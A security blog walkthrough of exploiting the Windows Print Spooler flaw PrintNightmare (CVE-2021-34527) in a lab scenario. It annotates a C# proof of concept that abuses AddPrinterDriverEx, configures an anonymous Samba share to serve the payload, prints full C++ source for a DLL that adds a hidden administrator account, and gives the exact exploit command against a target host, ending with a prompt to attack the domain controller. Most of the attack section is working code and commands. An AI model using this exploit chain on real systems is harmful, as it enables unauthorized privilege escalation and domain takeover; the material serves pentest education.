- Published on
Exploiting PrintNightmare CVE-2021-34527


- Name
- Chad Wilson
- @NetPenguins
update
This post was written years ago when I had a completely different type of lab environment. I left this here for purposes of the exploit explanation but if you are trying to follow along, things will likely not make much sense about the lab setup
Welcome back!
What is PrintNightmare?
NOTE: It is worth noting that although CVE-2021-1675 has been dubbed PrintNightmare the RCE dll injection method is a signature of CVE-2021-34527. This likely stemmed from the initial confusion as the community originally focused on 1675 only to learn there was a RCE vulnerability that was not fixed in the patch KB500501. Whoops!
UPDATE: Yet another CVE has been issued against the print spooler, CVE-2021-34481 which is an elevation of privilege (EOP/LPE) vulnerability.
CVE-2021-1675 and CVE-2021-34527 colloquially known as PrintNightmare are vulnerabilities targeting the Print Spooler service. They are however distinct as 1675 was initially disclosed as a Local Privilege Escalation (LPE/EOP), whereas 34527 is around Remote Code Execution (RCE). The focus of this walkthrough will be diving into CVE-2021-34527.
PrintNightmare is a vulnerability in the Microsoft Windows Print Spooler service. The vulnerability comes from the service's failure to restrict access to the RpcAddPrintDriverEx() method which is in charge of installing printer drivers on the Windows system. This failure allows any level of user to run installation commands, which being a service installer runs as System. What is a Print Spooler? Simply put the Windows Print Spooler is software that interfaces with the operating system and a printer. This software does a variety of tasks but primarily handles print job queues. This vulnerability affects all versions of Windows and should be considered when reviewing your security posture.
Diving a little deeper
Looking at the source of the PrintNightmare POC I will use the C# rendition with a primary focus on the RCE implementation. The functionality is almost identical to the python variant; however, PrintNightmare's inner workings are better understood through the use of Windows native methods and .NET classes. I will review the C# code that is used in enumerating drivers and installing the malicious DLL.
This brings us to the intersection of Managed Code vs. Unmanaged Code which boils down to how the code is compiled. Managed Code is compiled to an intermediary language that relies on a Runtime Environment in order to execute. Unmanaged code is compiled directly into machine code thereby earning the capability of running on its own. For a more detailed response with sources check out this awesome explanation from anakata over on StackOverflow.
C# is managed code that relies on the Common Language Runtime (CLR) whereas Windows native functions are unmanaged and typically written in C++. These unmanaged functions can be used within C# through the use of an API called P/Invoke. Microsoft documentation has the explanation for p/invoke as:
P/Invoke is a technology that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code. Most of the P/Invoke API is contained in two namespaces: System and System.Runtime.InteropServices.
I utilize PInvoke.net when searching for functions in the unmanaged libraries.
This is an important concept to understand in .NET development as it allows us to work with the system natively. In PrintNightmare P/Invoke is most notably used to find printer drivers (LPE implementation not covered here) and add printer drivers among other things such as impersonating users, token handling and error handles. We will dissect the Main() method to see what's going on under the hood. Skipping over the basic variable initialization we land upon the obtainment of the dllpath. Later on in this tutorial we will see how this path is hosted via SMB but for now its good to know that this bit of code takes the first argument passed to the .exe as the path to the malicious DLL. We also see where domain, username and password are set. Next there is a call to the unmanaged Impersonator class to impersonate the domain user. Now lets take a look at how the printer drivers are found:
static List<string> getDrivers(string computername)
{
computername = computername.Trim('\\');
string driverpath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages";
List<string> drivers = new List<string>();
try
{
RegistryKey environmentKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, computername);
foreach (string subKeyName in environmentKey.OpenSubKey(driverpath).GetSubKeyNames().Where(item => item.Contains("ntprint.inf_amd64")))
{
string path;
//Console.WriteLine(subKeyName);
path = (string)environmentKey.OpenSubKey(driverpath + "\\" + subKeyName).GetValue("DriverStorePath");
//Console.WriteLine(path);
if (!String.IsNullOrEmpty(path))
{
drivers.Add(path);
}
}
environmentKey.Close();
}
catch
{
Console.WriteLine("[-] Failed to enumerate printer drivers");
Environment.Exit(1);
}
return drivers;
}
The getDrivers() method simply enumerates the registry of the the given computername and searches for the DriverPackages subkeys that contain "ntprint.inf_amd64". If you are unfamiliar with C# the one-liner that looks a bit like JQuery is what is known as Language Integrated Query (LINQ). The method then checks each of these subkeys for any that have a value for DriverStorePath. If a value is found it is added to the drivers list which is then returned to caller. Once returned to calling portion in Main() the method then tries to obtain the path for the UNIDRV.dll (Universal Printer Driver) of the first printer driver returned in the list. From here we drop into the star of the show AddPrinterDriverEx:
[DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool AddPrinterDriverEx([Optional] string pName, uint Level, [In, Out] IntPtr pDriverInfo, uint dwFileCopyFlags);
AddPrinterDriverEx is an unmanaged method that is used to install a printer driver on the machine given the name of the machine the driver is to be installed on (NULL for local machine), the version of the structure pDriverInfo points to, the pDriverInfo to use and the dwFileCopyFlags. In the addPrinter(...) method we pass in the dllpath, pDriverPath and computername as obtained previously.
static void addPrinter(string dllpath, string pDriverPath, string computername)
{
DRIVER_INFO_2 Level2 = new DRIVER_INFO_2();
Level2.cVersion = 3;
Level2.pConfigFile = "C:\\Windows\\System32\\winhttp.dll"; //replace kernelbase with winhttp
Level2.pDataFile = dllpath;
Level2.pDriverPath = pDriverPath;
Level2.pEnvironment = "Windows x64";
Level2.pName = "12345";
The method then creates a DRIVER_INFO_2 struct using some basic defaults along with the passed in malicious dll.
string filename = Path.GetFileName(dllpath);
uint flags = APD_COPY_ALL_FILES | 0x10 | 0x8000;
//convert struct to unmanage code
IntPtr pnt = Marshal.AllocHGlobal(Marshal.SizeOf(Level2));
Marshal.StructureToPtr(Level2, pnt, false);
//call AddPrinterDriverEx
AddPrinterDriverEx(computername, 2, pnt, flags);
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
Marshal.FreeHGlobal(pnt);
Then it creates a filename from the dllpath (name of the malicious payload) sets the flag to APD_COPY_ALL_FILES, makes the level2 struct unmanaged and runs a preliminary install. The conversion to unmanaged code is simply Allocating the number of bytes consumed by the Level2 struct and returns a pointer to the newly allocated memory. Then this IntPtr is passed to the StructureToPtr() which marshals the data from a managed object, in this case the Level2 structure, into an unmanaged block of memory designated by the IntPnt pnt we just obtained. The false passed in is saying we do not wish to call the DestroyStructure() method on the pointer.
for (int i = 1; i <= 30; i++)
{
//add path to our exploit
Level2.pConfigFile = $"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{i}\\{filename}";
//convert struct to unmanage code
IntPtr pnt2 = Marshal.AllocHGlobal(Marshal.SizeOf(Level2));
Marshal.StructureToPtr(Level2, pnt2, false);
//call AddPrinterDriverEx
AddPrinterDriverEx(computername, 2, pnt2, flags);
int errorcode = Marshal.GetLastWin32Error();
Marshal.FreeHGlobal(pnt2);
if (errorcode == 0)
{
Console.WriteLine($"[*] Stage {i}: " + errorcode);
Console.WriteLine($"[+] Exploit Completed");
Environment.Exit(0);
}
}
Next we enter a loop (idk why they landed on 30 magic number methinks) which will set the pConfigFile equal to the print spoolers install directory C:\Windows\System32\spool\drivers\x64\3\old\ with the iteration count and malicious payload filename. This is then converted again to unmanaged code and an installation is initiated. If the AddPrinterDriverEx(...)call works then the program is finished executing as the payload was successfully executed on the endpoint.
The Scenario
We will consider the following scenario here:
You are a newbie enlisted by the WaddleCorp group to provide security analysis for their internal network and have been granted access to the waddlecorp.local domain. Skipper and the rest of his crew are concerned of possible fallout from the latest PrintNightmare vulnerabilities and want you to investigate possible damages their network can expect if patching is not done swiftly. Your access is limited to a basic user account and you are tasked with the goal of obtaining elevated permissions on your work machine. This elevation is needed to further exploit the WaddleCorp Domain.
Getting things ready
First let's start up our environment.
vagrant up skipper private pentest
Now let's login to pentest, open a terminal and clone the following repo https://github.com/cube0x0/CVE-2021-1675
git clone https://github.com/cube0x0/CVE-2021-1675
NOTE: It is worth noting that although the repo is labeled for 1675 the RCE dll injection method is a signature of 34527. This likely stemmed from the initial confusion as the community originally focused on 1675 only to learn the remote capability was not fixed in the patch KB500501. Whoops!
With this repository cloned we will first uninstall any Impacket we may have installed (if your using a clean version of pentest in the lab there will be no impacket by default). Then we will clone cube0x0's variant of impacket.
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
sudo python3 ./setup.py install
Now we will configure our samba configuration to allow anonymous access to easily host our payload we will generate.
sudo su
rm /etc/samba/smb.conf
touch /etc/samba/smb.conf
nano /etc/samba/smb.conf
and paste in the following configuration
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[public]
comment = Samba
path = /tmp/smb
guest ok = yes
read only = no
browsable = yes
force user = root
Then we need to start the services and exit sudo
service smbd start && service nmbd start
exit
If we open up the desktop for the machine private we can see our privilege set by running the following in a command prompt:
whoami /all
There is no mention of Administrators group anywhere in the results, but that can be changed ;)
Time to prepare our as a basic .dll that will create a new user we can then use to escalate our privileges on the machine.
For this we will need either a Windows environment with visual studio ready or a linux environment capable of creating windows dlls. I personally setup a Windows 10+Visual Studio 2019 virtual machine I used to create the dll. It is always a good idea to have a robust environment at your disposal as this will save you time and headache.
Clone JohnHammonds dll for local admin account creation inside your windows development environment.
git clone https://github.com/calebstewart/CVE-2021-1675
Open the nightmare.sln in VS and run build solution. Note that the code for dllmain.cpp shows the username and credentials.
Creating Admin User
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <Windows.h>
#include <lm.h>
#include <iostream>
#include <fstream>
#pragma comment(lib, "netapi32.lib")
wchar_t username[256] = L"adm1n";
wchar_t password[256] = L"P@ssw0rd";
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
// Create the user
USER_INFO_1 user;
memset(&user, 0, sizeof(USER_INFO_1));
user.usri1_name = username;
user.usri1_password = password;
user.usri1_priv = USER_PRIV_USER;
user.usri1_flags = UF_DONT_EXPIRE_PASSWD;
NetUserAdd(NULL, 1, (LPBYTE)&user, NULL);
// Add the user to the administrators group
LOCALGROUP_MEMBERS_INFO_3 members;
members.lgrmi3_domainandname = username;
NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&members, 1);
}
Compile this dll and copy it over to pentest. If you are unfamiliar with development in c++ the output will be in dir location>\\CVE-2021-34527\\nightmare-dll\\x64\\Release. Make sure you copy the nightmare.dll into the /tmp/smb directory we made on pentest earlier.
Time to exploit
Hop back into the pentest box, open a terminal and navigate to the directory you cloned the cube0x0/CVE-2021-1675 repo into. Run the following:
python3 CVE-2021-1675.py waddlecorp.local/private:PasW0rd543#@172.28.128.106 '\\172.28.128.200\public\nightmare.dll'
Back in private we can run
net user
and see that we now have the user adm1n on our local machine!
Let's login to our new shiny user by logging out of our boring user and at the login screen enter PRIVATE\adm1n for the user name and P@ssw0rd for the password. Open cmd and run whoami /all again and see that now we have BUILTIN\Administrators access!
Now what?
We have successfully demonstrated how to leverage Print Spoolers vulnerability to obtain RCE and generate an elevated user on the local machine. This gives us full admin rights on the box and allows us to begin targeted attacks on the Domain.
For a bit of fun and deeper understanding of the attack surface this vulnerability opens up try running this exploit against the DC skipper and see if you can get a scenario where you have unrestricted control of the domain.
Hope you have enjoyed the article!
Please follow on Twitter to stay up-to-date on the latest walkthroughs and posts.